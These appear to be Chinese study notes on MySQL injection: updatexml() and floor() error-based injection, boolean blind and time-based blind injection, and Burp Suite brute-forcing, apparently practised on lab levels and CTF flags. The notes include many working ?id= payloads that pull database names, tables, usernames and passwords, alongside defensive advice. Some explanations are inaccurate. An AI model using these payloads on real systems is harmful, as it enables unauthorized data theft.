updatexml函数在执行时,第个参数应为合法的XPATH路径,否则会在引发报错的同时将传入的参数进行输出

【若路径写错,会出现路径报错,比如,我在C盘里新建文件夹,然后删掉,在电脑里输入这个新建文件夹的路径,此时会出现文件报错。】

?id=1' or updatexml(1,concat(0x7e,(select users from wp_user),0x7e),1)

//concat 将三者连接在一起
//0x7e是十六进制


利用数据库执行报错:从里到外执行
select updatexml(1,concat(0x7e,(select database()),0x7e),1)
先执行(),,然后画横线的,这个时候updatexml会报错,,路径错误
报错时会输出错误的数据库名,,那就可以知道原先的数据库名

正常示例

SELECT UPDATEXML('<a><b>old</b></a>', '/a/b', 'new');

执行结果:返回修改后的XML片段<a><b>new</b></a>

6.3.4.2.3. 注入原理:为什么能用于报错注入?

updatexml()的漏洞逻辑与extractvalue()完全一致:

  • xpath_expr参数不符合XPath语法(如包含非法字符~),数据库会抛出错误,并将该表达式内容作为错误信息返回
  • 攻击者通过concat()拼接敏感数据(如数据库名)到非法表达式中,利用报错直接泄露信息。
6.3.4.2.4. 经典注入Payload拆解

泄露当前数据库名为例,Payload为:

updatexml(1, concat(0x7e, database(), 0x7e), 1)

各部分作用:

  1. updatexml(1, ..., 1)
    • 第一个参数1是无效占位符(仅满足函数格式)。
    • 第三个参数1也是无效占位符(攻击者不需要真正修改XML)。
  1. concat(0x7e, database(), 0x7e)
    • 0x7e:十六进制的~(破坏XPath语法,强制报错)。
    • database():返回当前数据库名(如security)。
    • 拼接后生成:~security~(非法XPath表达式)。

执行结果

数据库报错并返回:

XPATH syntax error: '~security~'
攻击者直接从错误信息中读取security(当前数据库名)。

6.3.4.2.5. 与extractvalue()的对比

维度

extractvalue()

updatexml()

原始功能

提取XML节点值

修改XML节点值

注入原理

非法XPath触发报错

非法XPath触发报错

Payload差异

仅需2个参数(无需替换值)

需3个参数(第三个参数为无效占位符)

数据长度限制

报错信息最多返回32个字符

报错信息最多返回32个字符

6.3.4.2.6. 防御建议
  1. 关闭错误回显:生产环境禁用数据库错误直接输出到前端(如PHP设置display_errors=Off)。
  2. 输入过滤:对用户输入的XPath相关参数严格校验,过滤~、单引号等特殊字符。
  3. 使用预编译语句:通过PreparedStatement或ORM框架绑定参数,避免SQL拼接。
6.3.4.2.7. 一句话总结

updatexml()XML修改工具,但因报错机制成为SQL注入的“常用武器”。防御核心是屏蔽错误信息+严格过滤输入,切断攻击者利用报错泄露数据的路径 🛡️。

6.3.4.2.8. level4可以用这个方法
6.3.4.3. floor()报错注入

【向上取整数ceiling()

6.3.4.3.1. 基础定义:floor()是什么?

floor()是MySQL的数学函数

作用是向下取整(返回小于等于输入值的最大整数)。

例如floor(3.9)返回3floor(-2.1)返回-3

6.3.4.3.2. 语法:
FLOOR(number)
6.3.4.3.3. 注入原理:为什么能用于“盲注”?

floor()本身不直接触发报错,但常与rand()group by组合,通过主键冲突强制数据库报错,从而泄露数据。

这种手法称为**“floor()盲注”**,

核心逻辑是:

  1. rand()生成随机数rand()每次执行返回0~1的随机浮点数(如0.78)。
  2. floor(rand(0)*2)固定随机序列
    • rand(0):设置随机种子为0,让随机序列固定(如0,1,1,0,1...)。
    • *2:将范围扩大到0~2floor()后得到01(固定序列)。
  1. group by分组冲突
    • group by会创建临时表存储分组结果,若floor(rand(0)*2)生成的随机数重复,临时表主键冲突,触发报错。
  1. 拼接敏感数据:攻击者将concat(0x7e, database(), 0x7e)(数据库名)拼接到floor()中,让报错信息包含敏感数据。

思考

select floor(rand()*2) from users; 根据users的行数随机显示0或1
select floor(rand(0)*2) from users; 计算机不再随机,而是按一定顺序排序
select floor(rand(1)*2) from users; 计算机不再随机,而是按一定顺序排序


rand()无种子的“随机抽奖箱”
例子:
种子0的固定序列:0,1,1,0,1...(抽第1次是0,第2次是1,第3次是1,以此类推)。
种子1的固定序列:1,0,1,1,0...(抽第1次是1,第2次是0,第3次是1,以此类推)。
6.3.4.3.4. 经典注入Payload拆解

泄露当前数据库名为例,Payload为:

select count(*), concat(0x7e, database(), 0x7e, floor(rand(0)*2)) as a from users group by a;

各部分作用

  1. count(*):统计行数(仅为满足group by语法)。
  2. concat(0x7e, database(), 0x7e, floor(rand(0)*2))
    • 0x7e:波浪线~(标记敏感数据)。
    • database():返回当前数据库名(如security)。
    • floor(rand(0)*2):生成固定随机序列0/1
    • 拼接后生成:~security~0~security~1
  1. group by a:按拼接后的字符串分组,因随机序列固定,必然触发主键冲突。

执行结果

数据库报错并返回:

Duplicate entry '~security~1' for key 'group_key'
攻击者从错误信息中读取security(当前数据库名)。

小剧场场景

  1. 攻击者拿着“号码~security~0”去登记,登记处记录下来(临时表新增一条)。
  2. 接着又拿着“号码~security~1”登记,临时表再新增一条。
  3. 第三次又拿“号码~security~1”登记——重复了! 登记处崩溃,大喊:“Duplicate entry '~security~1'(重复登记~security~1)!”
  4. 攻击者从崩溃信息里,直接看到了藏在号码里的“秘密纸条”security(数据库名)。
爆出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
6.3.4.3.5. 与extractvalue()/updatexml()的对比

维度

floor()盲注

extractvalue()/updatexml()

触发方式

主键冲突(group by

+rand()

【固定随机数+分组】

非法XPath语法

数据长度限制

无(报错信息可完整返回长数据)

最多返回32个字符

适用场景

盲注(无错误回显时也可能触发)

显错注入(需错误回显开启)

6.3.4.3.6. 防御建议
  1. 禁用危险函数:生产环境限制floor()rand()等函数的使用(需评估业务影响)。
  2. 输入严格过滤:对用户输入的SQL参数进行白名单校验,禁止group byrand()等关键字。
  3. 使用预编译语句:通过参数绑定避免SQL拼接,从根源阻止注入。
6.3.4.3.7. 一句话总结

floor()数学取整工具,但与rand()group by组合后,成为突破“盲注”的关键手段。防御核心是限制危险函数+避免SQL拼接,切断攻击者利用主键冲突泄露数据的路径 🛡️。

6.4. 布尔盲注

盲注:【笨蛋认为,其实就是在逐一尝试】

6.4.1. 原理

布尔盲注是一种**“是/否问答式”**的SQL注入手法——当数据库不返回错误信息,也不显示查询结果(页面只返回“成功/失败”两种状态)时,攻击者通过构造“真假问题”,逐步猜出敏感数据。

攻击者通过观察应用程序的响应(如页面内容的变化或 HTTP 状态码),推断出数据库中的信息。与传统的注入方式不同,布尔盲注不会直接返回查询结果,而是通过构造逻辑条件来判断数据库的内容

【类似于海龟汤】

6.4.2. 核心逻辑:用“真假判断”拼出秘密

把数据库里的敏感信息(比如admin的密码)拆成单个字符,每次问数据库:“这个字符是不是a?是不是b?...” 直到拼出完整内容。

关键函数:

  • substr(str, pos, len):截取字符串(比如substr('admin',1,1)返回a)。
  • ascii():把字符转成ASCII码(比如ascii('a')=97)。
  • =/>/<:比较ASCII码,判断字符是否正确。
6.4.3. 布尔盲注的特点:
  1. 无显式错误信息返回
  2. 无查询结果直接显示
  3. 只能通过页面响应差异(如内容变化、HTTP状态码、响应时间等)来判断结果
  4. 通常需要逐字符猜测数据

【布尔盲注适用于没有回显明确报错,但会回显是否为正常页面

布尔盲注,即在页面没有错误回显时完成的注入攻击。

此时我们输入的语句让页面呈现出两种状态,相当于true和false,

根据这两种状态可以判断我们输入的语句是否查询成功。】

6.4.4. 前提:确认注入点

先构造“恒真”和“恒假”语句,验证页面是否有响应差异:

?id=1' and 1=1 --+  # 页面正常(条件为真)
?id=1' and 1=2 --+  # 页面错误(条件为假)

→ 若响应不同,说明存在布尔盲注漏洞。

6.4.5. 基本步骤
  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

6.4.5.1. 爆库名长度

构造语句判断当前数据库名字长度:

length(str)                             //返回str字符串的长度。
1 and length(database())=4 		//判断数据库名字的长度是否为4
1 and length(database())>4 		//判断数据库名字长度是否大于4
6.4.5.2. 根据库名长度爆库名

对照ASCII表

得到当前数据库名称为sqli

substring(str, pos, len)

//将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

?id=1' and length(database())=8 --+  //页面正常→数据库名长度为8


1 and substring(database(),1,1)='q'                       //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'                       //判断数据库名字第二个字母是否为q

AND ASCII(SUBSTRING(database(),1,1))=97 -- 判断数据库名第一个字符的ASCII码是否为97('a')
【基于ascii码的盲注】

mid(str,pos,len)                                         //跟上面的用法一模一样,截取字符串
6.4.5.3. 对当前库爆表数量

输入

1 and (select count(table_name) from information_schema.tables
where table_schema=database())=2

得知共有两个表

=2最终判断:当前数据库下的表数量是否等于2,逐个尝试3,4,5,】

6.4.5.4. 根据库名和表数量爆表名长度

例子:

  1. 输入

?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1

结果:#query_error

  1. 输入

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4

结果:#query_success

说明:#当前库sqli的第一张表表名长度为4

  1. 输入

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4

结果:#query_success

说明:#当前库sqli的第二张表表名长度为4

  • limit 0,1:取information_schema.tables中符合条件的第1条记录(即当前数据库的第1张表)。
  • 注意观察limit i,1 i从0开始(第i+1张表)
  • 注释:得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度【一个嵌套循环】
6.4.5.5. 根据表名长度爆表名

再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

【三层嵌套】

注意观察substr((select…limit i,1),j,1)

i从0开始(第i+1张表),j从1开始(第j个字符)

6.4.5.6. 对表爆列数量

操作同对当前库爆表数量的步骤,只是要查询的表不同

?id=1' and (select count(column_name) from information_schema.columns 
            where table_schema=database() and table_name='表名')
            =n --+

6.4.5.7. 根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

  • 注意观察limit i,1
    i从0开始(第i+1列)
?id=1' and length(
  (select column_name from information_schema.columns 
   where table_schema=database() and table_name='表名' 
   limit i,1)
)=n --+

这个在判断他的长度,即length(仅查询当前数据库users表的列信息,第几列)

limit i,1定位列,用length()猜长度

  • 爆列数量是统计总数,用count()
  • 爆列名长度是定位单条记录+测长度,用limit+length()

6.4.5.8. 根据列名长度爆列名

操作同对当前库爆表名的步骤,i是列标-1,j是字符下标

  • 注意观察substr((select…limit i,1),j,1))
    i从0开始(第i+1列),j从1开始(第j个字符)
?id=1' and substr(
  (select column_name from information_schema.columns 
   where table_schema=database() and table_name='表名' 
   limit i,1), 
pos,1
)='c' --+

pos是第几位,1,2,3,4.。。

c是指26字母中任意一个小写字母/数字

6.4.5.9. 根据列名爆数据值

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

注意观察substr((select…),j,1)

j从1开始(flag的第j个字符)

limit row,1定位行→用length()测数据长度→用substr(pos,1)逐位猜字符

代码模板:

?id=1' and substr(
  (select 列名 from 表名 limit row,1), 
pos,1
)='c' --+

变量替换说明

变量

含义

示例值

列名

已知列名(如username

username

表名

目标表名(如users

users

row

行索引(从0开始,对应row+1行)

0→第1行

pos

字符位置(从1开始,对应数据的第pos位)

1→第1位

c

猜测的字符(小写字母/数字)

'a'(比如数据第1位是a)

实战步骤(以表名users、列名username、行索引row=0为例)

假设目标数据是admin(长度5),步骤如下:

  1. 先爆该行数据的长度(前置步骤):
    length()猜该行数据的长度(比如admin长度为5):
?id=1' and length((select username from users limit 0,1))=5 --+
    • 页面正常→长度正确(L=5)。
  1. 爆破第1位字符(pos=1)
    尝试字符a(假设数据第1位是a):
?id=1' and substr((select username from users limit 0,1),1,1)='a' --+
    • 页面正常→猜中;页面错误→换字符(如b/c)。
  1. 爆破第2~5位字符
    依次将pos设为2~5,尝试对应字符(比如d/m/i/n),最终拼接出admin
6.4.6. 也可以使用python脚本

本人在这里不展开

6.4.7. 布尔盲注的攻击流程【整合】

步骤 1:确认注入点

  • 攻击者通过输入不同的值,观察应用程序的响应,确认是否存在布尔盲注漏洞。
  • 示例:
    • 输入 1 AND 1=11 AND 1=2,观察页面是否发生变化。

步骤 2:推导字段长度

  • 使用 LENGTH() 函数推导目标字段的长度。
  • 示例:
    • 输入 1 AND (SELECT LENGTH(password) FROM users WHERE id=1) = 8,逐步调整数字,直到找到正确的长度。

步骤 3:逐字符推导字段内容

  • 使用 SUBSTRING()ASCII() 函数逐字符推导目标字段的内容。
  • 示例:
    • 输入 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1)) = 97,逐步调整 ASCII 值,直到找到正确的字符。

步骤 4:拼接完整数据

  • 将逐字符推导出的内容拼接成完整的字段值。
6.4.8. 常用函数

函数

描述

示例

LENGTH()

返回字符串长度

LENGTH(database())

SUBSTRING()/SUBSTR()

提取子字符串

SUBSTRING(database(),1,1)

ASCII()

返回字符的ASCII码

ASCII(SUBSTRING(database(),1,1))

IF()

条件判断

IF(1=1,1,0)

SLEEP()

延迟执行

SLEEP(5)

ASCII()这个比较大小更加方便

6.4.9. 防御措施
  1. 使用参数化查询/预处理语句
  2. 实施最小权限原则
  3. 输入验证和过滤
  4. 错误处理:不返回详细错误信息
  5. Web应用防火墙(WAF)
  6. 定期安全测试

6.5. 时间盲注

web界面只返回一个正常页面。利用页面响应时间不同逐个猜解数据。

(数据库会执行命令代码,只是不反馈页面信息)

【布尔盲注是通过回显的对错提示来判断是否成功

时间盲注是通过手动控制页面返回时间来判断是否成功。

6.5.1. 定义

也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”

--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

6.5.2. 关键函数
6.5.2.1. sleep()函数

延时函数,参数为休眠时长,可为小数,单位 秒。

select sleep();

sleep(N)函数 即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题造成参数误差)

6.5.2.2. if()函数

if(condition,true,false)

condition为条件,条件为真时返回true,条件为假时返回false。

select if(1=1,sleep(0),sleep(3));
#1=1为真,执行休眠0秒
select if(1=2,sleep(0),sleep(3));
#1=2为假,执行休眠3秒
6.5.2.3. substr()函数

substr((),1,1) 从第一个字符开始,显示一个字符。

6.5.2.4. ascii()函数

ascii(character)得到字符的ASCII码值。

6.5.3. 判断注入方式
6.5.3.1. 判断注入点

1)"and 1=1--+ 页面返回有数据

2)"and 1=0--+ 页面返回有数据

则:页面的返回没有变化,可能是盲注

6.5.3.2. 测试可注入方式

1)页面没有回显位置联合注入无法使用)

2)页面不显示数据库的报错信息报错注入无法使用)

3)无论成功还是失败,页面只响应一种结果布尔盲注无法使用)

判断使用时间盲注

6.5.4. 判断闭合方式。

能成功等待2秒响应的即为其闭合方式。

?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
...
6.5.5. 构造时间延迟条件
  • 攻击方式
    • 使用时间延迟函数(如 SLEEP()WAITFOR DELAY)和子查询,构造逻辑条件。
  • 示例
    • 用户输入:1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 
AND 
IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0);
    • 效果
      • 如果密码的第一个字符的 ASCII 值为 97(即 'a'),则查询延迟 5 秒;否则立即返回结果。
6.5.6. 推导字符串长度
  • 攻击方式
    • 使用 LENGTH() 函数结合时间延迟函数,推导目标字段的长度。
  • 示例
    • 用户输入:1 AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees 
WHERE id = 1 
AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0);
    • 效果
      • 如果密码的长度是 8,则查询延迟 5 秒;否则立即返回结果。
6.5.7. 推导字符串内容
  • 攻击方式
    • 使用 SUBSTRING()ASCII() 函数逐字符推导目标字段的内容。
  • 示例
    • 用户输入:1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1
AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0);
    • 效果
      • 如果密码的第一个字符的 ASCII 值为 97(即 'a'),则查询延迟 5 秒;否则立即返回结果。
6.5.8. 时间盲注的攻击流程

步骤 1:确认注入点

  • 攻击者通过输入不同的值,观察应用程序的响应时间,确认是否存在时间盲注漏洞。
  • 示例:
    • 输入 1 AND SLEEP(5),观察页面是否延迟 5 秒。

步骤 2:推导字段长度

  • 使用 LENGTH() 函数结合时间延迟函数,推导目标字段的长度。
  • 示例:
    • 输入 1 AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0),逐步调整数字,直到找到正确的长度。

步骤 3:逐字符推导字段内容

  • 使用 SUBSTRING()ASCII() 函数结合时间延迟函数,逐字符推导目标字段的内容。
  • 示例:
    • 输入 1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0),逐步调整 ASCII 值,直到找到正确的字符。

步骤 4:拼接完整数据

  • 将逐字符推导出的内容拼接成完整的字段值。
6.5.9. 可以使用别的方法--burpsuite爆破
6.5.9.1. 判断数据库的长度
?id=1 and if(length(database())>=5,sleep(3),sleep(1))
# 执行休眠1秒
?id=1 and if(length(database())>=4,sleep(3),sleep(1))
#执行休眠3秒
#数据库名长度为4
6.5.9.2. 爆数据库的库名
?id=1 and if(substring(database(),1,1)='a',sleep(5),sleep(1))
#执行休眠1秒
...
?id=1 and if(substring(database(),1,1)='s',sleep(5),sleep(1))
#执行休眠5秒
#数据库第一个字符为s
?id=1 and if(substring(database(),2,1)='q',sleep(5),sleep(1))
#执行休眠5秒
#数据库第一个字符为q
 

#随便输入一个字符,无论正确与否,使用burpsuite进行抓包,将抓到的包发送到intruder模块。

(1)攻击类型选为Cluster bomb

(2)选择要进行爆破的字符,一个是第一个1,一个是a

(3)设置第一个字符的payload,类型为Numbers

(已经知道长度为4,可以直接设置为4,不知道时 设置比需要爆破字符的长度长。)

(4)设置第二个需要爆破字符的payload,类型为Simple list

(爆破字段为26个英文字母)

(5)点击开始攻击得到结果,sleep(5)要筛选出响应时间大于5s的数据包。

在columns里面勾选Response received和Response completed这两个选项,再进行筛选,响应时间最大的四个就是执行成功的——sqli。

(布尔盲注直接使用length进行筛选:按照length从高到低排序 前面四个即为结果,按照payload1的顺序进行排序得到数据库名sqli。)

6.5.9.3. 爆数据表名
?id=1 
and 
if(substring(
  (select table_name from information_schema.tables 
   where table_schema='sqli' limit 0,1),1,1)='q',sleep(5),sleep(1))

#limit 0,1第一个表 
substring((),1,1)从第一个字符开始,显示一个字符

...

?id=1 
and 
if(substring(
  (select table_name from information_schema.tables 
   where table_schema='sqli' limit 1,1),1,1)='q',sleep(5),sleep(1))
   
##limit 1,1第二个表 
substring((),1,1)从第一个字符开始,显示一个字符
...

使用burpsuite爆破

6.5.9.4. 爆数据列名
?id=1 and 
if(substring(
  (select column_name from information_schema.columns 
   where table_name='flag'),1,1)='q',sleep(5),sleep(1))

使用bp爆破

6.5.9.5. 爆flag

此处payload1的长度较大 可为40,,payload2的字典除26个字母外还有10个数字 ’{’ ’}'这两个字符。

?id=1 and if(substring((select flag from sqli.flag),1,1)='q',sleep(5),1)

6.5.10. 其他方法--python脚本

这个我先不展开

6.5.11. 其他方法之--sqlmap工具

【这个工具下载,整理在其他地方】

6.5.12. 布尔和时间盲注有什么区别

特性

布尔盲注

时间盲注

判断依据

应用程序的响应内容(如页面内容的变化)

应用程序的响应时间(如延迟或正常返回)

依赖条件

数据库查询结果会影响应用程序的输出

数据库查询结果会触发时间延迟函数

适用场景

应用程序对查询结果有明确的反馈

应用程序对查询结果无明显反馈,但支持延迟函数

攻击效率

相对较高(直接观察页面变化)

较低(需要等待延迟时间)

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐